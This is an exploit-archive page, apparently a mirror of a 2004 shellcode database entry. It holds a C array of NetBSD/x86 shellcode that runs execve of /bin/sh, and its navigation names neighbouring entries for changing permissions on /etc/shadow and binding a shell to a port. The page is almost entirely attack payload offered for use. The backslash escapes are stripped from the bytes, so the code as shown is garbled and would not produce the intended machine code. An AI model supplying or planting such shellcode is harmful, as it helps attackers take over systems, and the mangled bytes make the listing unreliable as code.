[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : netbsd/x86 execve /bin/sh 68 bytes
# Published : 2004-09-26
# Author : humble
# Previous Title : linux/x86 chmod 666 /etc/shadow 82 bytes
# Next Title : openbsd/x86 portbind port 6969 148 bytes


/*
 *  NetBSD
 *  execve() of /bin/sh by humble of Rhino9
 */

char shellcode[] =
  "xebx23"
  "x5e"
  "x8dx1e"
  "x89x5ex0b"
  "x31xd2"
  "x89x56x07"
  "x89x56x0f"
  "x89x56x14"
  "x88x56x19"
  "x31xc0"
  "xb0x3b"
  "x8dx4ex0b"
  "x89xca"
  "x52"
  "x51"
  "x53"
  "x50"
  "xebx18"
  "xe8xd8xffxffxff"
  "/bin/sh"
  "x01x01x01x01"
  "x02x02x02x02"
  "x03x03x03x03"
  "x9ax04x04x04x04x07x04";

# www.Syue.com [2004-09-26]